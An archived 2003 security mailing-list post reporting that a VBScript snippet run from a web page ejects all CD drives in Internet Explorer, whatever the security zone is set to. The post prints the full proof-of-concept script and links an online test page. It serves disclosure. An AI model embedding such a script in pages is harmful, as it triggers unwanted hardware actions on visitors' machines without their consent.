bugtraq - Ejecting CDs with VBScript ( Online Exploit )

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <004001c38f73$43f497e0$050010ac@Estila>
Date: Fri, 10 Oct 2003 23:12:44 +0200
From: "Lorenzo Hernandez Garcia-Hierro" <lorenzohgh@...g-security.com>
To: <full-disclosure@...ts.netsys.com>
Cc: <bugtraq@...urityfocus.com>
Subject: Ejecting CDs with VBScript ( Online Exploit )


Hi friends,
I'm not very happy with this , i have done an online test for eject cds in a
MS Internet Explorer
and i have tested it in all the computers of my house but i was surprised
when i checked that the
last version of MSIE allows the execution of the script in the following
sec. zones:
            . LOCAL/INTRANET
            . REMOTE/INTERNET
I tested it in default values and the exploit is executed , i edited the
values and again it was
executed.
Am i discovering a new vulnerability in MS Internet Explorer ?
I'm not sure because there are lots of known holes in MSIE.
Suggestions and help is completely welcome.
The best regards,
PS: This is the code of the exploit:
-----------------
<SCRIPT LANGUAGE=VBSCRIPT>
rem --------------------------------------
rem No Secure Root Group Security Research
rem    Coder: Trulux / Lorenzo Hdez G-H
rem --------------------------------------
rem    http://www.nsrg-security.com
rem --------------------------------------
rem -> CREATE WINDOWS MEDIA PLAYER OBJECT
rem -
Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" )
rem -
rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS
rem -
Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection
rem -
rem -> EJECTING ROUTINE
rem -
if RIAAsaysBLAH.Count >= 1 then
For i = 0 to RIAAsaysBLAH.Count - 1
RIAAsaysBLAH.Item(i).Eject
Next ' cdrom
End If
rem -> END
</SCRIPT>
--------------

NOTE: i don't know if this is a known security hole  , if this was
discovered before , i'm sorry ( and a little sad :-(  ).
you can test it online:
http://test-zone.nsrg-security.com/browser/msie/cdrom


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html